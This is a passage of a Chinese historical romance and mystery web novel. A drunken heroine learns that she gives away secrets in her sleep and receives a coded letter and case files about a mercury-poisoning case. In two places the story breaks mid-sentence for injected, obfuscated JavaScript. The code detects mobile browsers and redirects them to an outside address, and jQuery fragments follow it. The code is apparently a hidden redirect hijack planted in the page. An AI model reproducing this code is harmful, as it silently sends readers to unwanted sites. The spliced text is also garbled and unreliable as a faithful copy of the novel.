对上他幽深的目光,她迷离的双眼突然闪过一丝莹亮,柳眉紧蹙:“怎么是你?”
季晚凝声音喑哑,带着浓烈的醉意,手臂松软地从他后颈上滑了下来。
贺兰珩迅速捉住她的手腕搭了回去,湛黑的凤眸在烛光里半明半昧,低徐道:“你以为我是谁?”
“我以为……”
适才半梦半醒时她以为是阿娘,季晚凝还没说完,猛地发现自己正漂浮在空中,大惊失色地在他怀里挣扎起来。
贺兰珩单只手臂敛紧,牢牢地箍住她,才不至于让她掉下去。
季晚凝气呼呼地喊道:“贺兰珩!你要带我去哪,你是不是想趁我醉酒把我卖了?”
她攥起双拳在他的胸膛上一顿乱锤,她捶得很认真,拳头却因醉酒而使不上力。
“你放开我,你这个跟宋熙沆瀣一气的奸臣!”
贺兰珩眉心一跳,是谁告诉她他与宋熙私下见面的?
心念电转,随即他唇角浮起一抹冷笑,除了宋聿怀还能有谁?
“你要瞒我到什么时候,你把我当傻子骗吗?”季晚凝张开猫爪一样的五指,抓挠他的脸。
贺兰珩腾不出手闪避,亏得她的猫爪不痒不痛,便由她肆意发怒。
他把她抱回卧榻上,将她不安分的身子放好,解释道:“因着上回你在大理寺犯的案子,他怀疑你的身份,以此要挟我,我仅是权宜之计。”
季晚凝半躺半卧在榻上,染醉的星眸水雾氤氲,脑子里昏昏懵懵的,如一团乱麻,也不知他说的是真是假,听起来能自圆其说。
她感觉发火刚发了一半就他被浇灭了,心中憋闷,强忍着胃里不断翻腾的呕意,一把夺过他手里的茶壶,对着壶嘴咕咚咕咚喝了几口,解了干渴。
然后又在心里细数他的种种不是,以前的旧账还没算清,就说最近,他把她困在院中看得那么紧,自己却夜夜笙歌,整宿不归。
心绪百转千回,她秋波流转,定在了他那双深邃的眸子上,将一肚子不满化为一句:“贺兰珩,我讨厌你!”
说罢将茶壶塞回他手里,一头倒在了下去。
贺兰珩拽过被子盖在她身上,望着她一脸酡红的怒容,眼尾衔了抹纵容的浅笑:“你坑骗了我那多次,但我不讨厌你。”
季晚凝喉头一噎,心虚地拢了被子盖住脸,只露一双翦水美目在外面滴溜溜地转动。
见他脸侧挂着几道略微泛红的抓痕,她在被子里抿嘴轻笑,笑得鸦羽乱颤,把脚伸出被窝蹬了他一下,语气倦懒道:“我头晕死了,我要睡觉,你起开……”
贺兰珩抓住她裸露的脚腕,塞回了被子里,在榻边静静坐了半晌,见她呼吸均匀,睡得不省人事,才起身熄灭了灯烛。
……
春阳高照,窗棂上光影斑驳,一束金辉刺在季晚凝酣睡的眼皮上,她紧闭着眼不想睁开,恍惚中感到头痛欲裂,口干舌燥。
她极为勉强地掀开被子,起身下榻,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164491|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晃晃悠悠地摸到案几边,案上放着一碗醒酒汤,已经凉了,她捧起来一饮而尽,倒是十分爽口。
刻漏显示现在已经将近日中了,季晚凝扣起指节敲了敲肿胀的太阳穴。
她扫了眼贺兰珩的床榻,依然空着,被褥整齐地叠起来,一如往常。
今日是旬日,他本该休沐在家里的,想必昨晚又没回来。
不过还好他不知道她昨日出门玩去了,还喝得酩酊大醉回来,要是被他撞见不知会怎么罚她呢。
挂在窗边的雪媚娘在笼子里扑扇着翅膀来回跳跃,估计是饿了,季晚凝走过去抚了抚它的羽毛。
只听它扯着脖子用清脆的嗓音叫唤:“贺兰珩,我讨厌你!贺兰珩,我讨厌你!”
“?”
季晚凝倏地愣住了。
好在贺兰珩不在屋里,不然她恨不得立刻捂住它的嘴。
这是哪个胆大包天的教它说的?寝室除了她以外平常只有东义、北苍、孙嬷嬷能进来,有时小阮会来找她,但不会独自进来。
孙嬷嬷和北苍不可能做这种事,小阮和东义就更不可能了,借他俩十个胆也不敢。
季晚凝思来想去,那便只剩容嫣了,估计她又跟贺兰珩闹了别扭,偷偷溜进来捣的鬼。
她不由担心,贺兰珩要是发现了定得罚容嫣抄书,容嫣一准会跑来找她埋怨一通。
她赶忙洗了把脸醒了醒神,拎起雪媚娘的笼子推开房门,准备先把它挂到自己房里帮容嫣遮掩。
外面煦色韶光,暖暖地铺洒在院子里,容嫣正提着竹篮,做贼心虚地猫在花丛中摘花。
季晚凝轻手轻脚地走上前去,容嫣骤然感到后背一阵酸痒,惊得一下跳了起来,转身一见是她,才长舒了一口气。
容嫣抚着胸口道:“晚凝你吓死我了,我还以为是阿兄回来了呢,我一大早就看见他出门了,也不知道干什么去了。”
季晚凝微微敛眉,他昨晚回来了?
她回忆了一下,昨日她在宴会上喝醉了,上了长公主的马车,一路颠颠簸簸,晕得她险些吐在车里。
后来进了宣阳坊,换乘一顶小轿把她抬回贺兰府,之后无论她怎么冥思苦想也想不起来了。
应该是小阮把她搀回屋里的吧?贺兰珩怎么偏偏昨日回来了,她不敢想象当时他的脸色有多难看,幸好她没看见。
容嫣好奇地逗弄笼子里的雪媚娘,雪媚娘跟她挺不见外的,很争气地喊了一嗓子:“贺兰珩,我讨厌你!”
容嫣吓得抽回了小手,抬起头来看着季晚凝道:“这、这是谁教它的?可千万别让我阿兄听见。”
季晚凝怔住了,听这意思不是她教的了?可除了她还能有谁?
两人大眼瞪小眼,不知所措。
容嫣灵机一动,对着雪媚娘循循善诱道:“贺兰珩是天下第一美男子,英才盖世,宰相之器……还有院里的花是东义摘的,听懂了吗?”
雪媚娘歪了歪脑袋:“贺兰珩,我讨厌你,听懂了吗?”
容嫣嘴角抽搐了一下,季晚凝忍俊不禁,眼睛笑得弯弯的,抬手轻掐了下她的脸蛋。
容嫣又不厌其烦地教了它好几遍,最后负气地挽住季晚凝的胳膊道:“不管它了,咱们去染蔻丹吧。”
53. 诱惑
两人在水榭里的桌边坐下,把篮子里的花倒在桌上,容嫣挑了朵颜色艳丽的花,拉过季晚凝的手,给她染指甲。
“昨日的杏园宴好玩吗,我陪阿娘去寺里进香错过了,新科进士俊不俊?”容嫣一脸遗憾地问道。
昨日……季晚凝扶着额角,又想起昨日宋聿怀对她说的话,隐隐头痛。
或许宋聿怀别有用心,但怀疑的种子已经像生了根一样盘桓在她心里。
季晚凝打开算袋,准备给容嫣写字,惊诧地发现袋里多了一张信笺。
她拿出来展开一看,眸光瞬间亮了起来,心跳如擂鼓,连宿醉的晕眩感都消散了。
这封信来自谶书幕后主使,那人终于联络她了!
回想昨日在杏园宴上被一个仆从不小心撞到了,想必就是那时被塞了纸条,当日去了不少的朝臣,那主使一定就在其中。
容嫣专心致志地染蔻丹,没注意到她的异样,季晚凝若无其事地将信塞进袖里,写了些昨日的轶事给她。
掌灯时分,贺兰珩回到府里,季晚凝端着刚煎好的茶叩门走进书房。
他端坐在桌案后,烛光映得眉目如沉金冷玉,案上放着上元节的那盏兔子灯,与他的气质实在不搭调。
季晚凝想到当初她刚住进后衙时,他给她的镇纸也是兔子形状的,他居然喜欢如此可爱的东西?
她坐在案前斟茶,目光不经意地扫过他,惊讶地发现他脸侧有一道泛红的抓痕,很浅,不像是跟人打架了,倒像是女人挠的。
果然是章台走马去了,季晚凝几不可察地蹙了蹙眉。
贺兰珩轻拨茶沫,好整以暇地看着她吃惊的神情,眼里尽是疑惑,还带着几分嫌恶,唯独没有愧疚,可见她已经什么都不记得了。
季晚凝放下茶壶,起身从架子上的药箱里拿出一瓶药膏,递了过去。
贺兰珩没接,不动声色地微侧了下头。
季晚凝:“?”
怎么连药也让她帮他上?自己没手吗?前阵子明明还对她很疏离。
她轻抿双唇,用小指沾了一点药膏,倾身靠近,涂抹在他脸上。
纤细的指尖在贺兰珩伤口周围游弋,清凉酥痒的触感丝丝缕缕蔓延开,如羽毛拂过。
抹匀后季晚凝将药瓶放回原处,正要退出书房,贺兰珩薄唇轻启:“等等。”
季晚凝回首看他。
“你可有话要问?”他道。
季晚凝转了转莹润的眸子,想了片刻,坐回案边写道:“君的伤是从何而来?”
贺兰珩别有深意地看她一眼,答非所问道:“我与宋熙私下往来,只因他拿住了我的把柄,以此要挟,让我帮他对付政敌。”
季晚凝闻言先是一愣,旋即脸上的表情僵住了,接着如石像般一寸寸地裂开。
他冷不防地说起这个,难道是知道她与宋聿怀的谈话了?总不能是宋聿怀告诉他的,那还有谁?
今日事事透着古怪,先是雪媚娘学舌,又是谈话不胫而走。
季晚凝忽然想起当初学骑马时坠马后,贺兰珩对她说的话:“为何你坠马也不喊?”
她在脑海中飞快地将种种片段穿针引线,两条柳眉绞在了一起,直直盯着贺兰珩那双双隐隐带着得意,略微上扬的凤眼。
唯一的可能就是——她自己说的!
难怪他之前有那么多令人想不通的举动。
在她杀了袁大和小六之后,贺兰珩强行让宿在他房中,次日他就突然态度大变将她留了下来,会不会是她在梦中说了些什么不该说的?
后来他把她的卧榻搬到自己床边,原来就是为了偷听梦呓,不给她笔砚,故意使她坠马,都是想逼她说话。
季晚凝心中五味杂陈,既喜又怒。
她将目光移向贺兰珩的伤口,如果昨晚是她骂了他,那把他抓伤的不会也是她自己吧?!
可他却没生她的气,脾气何时变得这么好了?
贺兰珩看着她脸上的神情如走马灯一样千变万化,两腮蠕动,跟兔子磨牙一样。
他唇边衔着笑,道:“现在信我了?”
季晚凝笔一挥,忿忿写道:“你还有什么事瞒着我?”
敬称也不用了,可见是气狠了。
贺兰珩犹豫了少顷,转身拿出一只上锁的木匣,打开来,从里面取出一张泛黄的纸,递给她。
季晚凝接过来,上面布满了墨点,先前她在贺兰珩的桌上见过,她不解其意,抬眸看向他。
“这是我从你的香球里找到的,被封在香丸中,其中的暗语我未能破解,这张纸还给你吧。”贺兰珩还留了一份拓本。
季晚凝杏眼圆睁,她惦记了这么久的香球居然一直在他手里!那么前阵子他身上的香味就出自于她的香球了,他就这么戴在身上招摇过市她竟一无所知。
季晚凝狠狠瞪了他一眼,垂眸继续看那张纸,秘密居然就在香丸里,如此简单,她却因为舍不得用而被困扰了这么多年。
可是这张纸难道这就是阿耶阿娘留给她的密信?其中有何深意?
当年吴道坤和罗逊不知从哪听说了密信的事,严刑拷打父亲,一个字也没问出来,后来又将陈府里的家眷悉数押到刑部大牢审问。
季晚凝对密信也一无所知,甚至无从判断这封信是父亲写的没递出去,还是父亲收到的。
她盯着纸上的墨点看了一会儿,心中渐渐浮现出一种奇异的感觉,点阵在她脑子里排布起来,不断变幻阵型。
可过了良久也没能解开,她失望地将纸小心翼翼地叠起来放进袖里。
想到刚刚收到的那封信,上面写着:“我已知密函真相,若欲翻案,助我筹谋后计。”
她必须联系上谶书主使,此人或许能解开密信的秘密,而如要赴约,她就必须得想办法出府。
季晚凝思忖片刻,提笔写道:“昨日我在杏园宴上偶遇素儿,她如今孤身一人无依无靠,君可否允我去看望她?”
“不行。”贺兰珩断然回绝。
季晚凝的心一沉。
“你若想见她,我可以派人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164492|196639||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将她接到府里来。”
他难得松了口风,可就像看穿了她的心思一样,仍然不准她出府。
季晚凝默默放下了笔,站起来福了福身,退出了书房。
最近她能出府的机会就只有靠长公主,很被动,长公主说下次春日宴再邀她一起出来,可她等不了那么长时间了。
回到寝室,季晚凝躺在卧榻上,一想起贺兰珩偷听她说梦话,心里涌上了一股羞耻感,从榻上跳了起来。
他的房间她再也睡不下去了,她将被衾叠好,卷着枕头抱起来往外走,打算回自己的下人房。
堪堪走到门口,贺兰珩推门进来,堵住了她的去路,沉声道:“去哪。”
季晚凝冷着脸不理他,侧身躲开他,想从门缝钻出去。
贺兰珩双手在背后将门一阖,眸光凝在她身上,道:“如果你因为九公主想提早离府,那你可以打消这个念头,我不会尚九公主的。”
季晚凝扭开头,不为所动。那日她都听见他和长公主的对话了,他又想蒙骗她。
气氛有些僵持。
贺兰珩十指微蜷,从怀里拿出了一叠卷宗递给她,声音低沉了几分:“最近城西发生了一起水银中毒案,这个案子与吴道坤息息相关。”
季晚凝倏地抬起头,将信将疑地看向他,他就像一个狡猾的猎人,接二连三地掏出一个个美味的食物来诱惑她。
她迟疑地放下怀中的被衾,将文书接过来仔细翻阅,上面是贺兰珩整理的案件线索和炼丹坊的舆图,原来他最近夜不归宿都在忙着查案。
贺兰珩每日与不良人轮流盯梢,他下值后乔装前往炼丹坊所在的坊,找个酒肆一边跟三教九流打听消息,一边等到夜幕降临,潜伏在炼丹坊的房顶勘察。
这是一个不大的三进院子,院中有一队穿着深衣的佩剑方士巡夜,贺兰珩发现他们的行步举止像是有功夫在身。
中堂的空地上放着一个承露盘,用来收集露水,之后再结合丹砂提炼水银。
宋熙所说的方士张思释常常待在前殿里,有时一连几天都不曾出入。
后院里有一排房室,院中晾着许多方士穿的深衣,其中有一些尺寸较小的,白日里会有个方士拿着药罐定时进屋,过一会儿再出来。
这些异常引起了贺兰珩的注意,他揭开瓦片,发现房里空无一人,那方士站在一道带有门眼的门前摇了摇铃铛,片刻后门便开了。
门后必定有密室,前殿很可能也有,整个炼丹坊不止一个密室的出入口。
贺兰珩想起之前在酒肆里听说最近总有少年孩童失踪,有男有女,家眷报了官,县令让他们等消息,但却一律没有结果。
他怀疑这些失踪的人有可能就被关押在炼丹坊里,被用来试药,中毒的也不是什么道童,而是被掳来的童子。
他本不想插手,那日鬼使神差地去察访了一番,发现案情的复杂程度已经远远超乎了他的想象,便打算先搁置下来,伺机而动,他没想过会把这个案子告诉季晚凝,更没想过让她参与进来。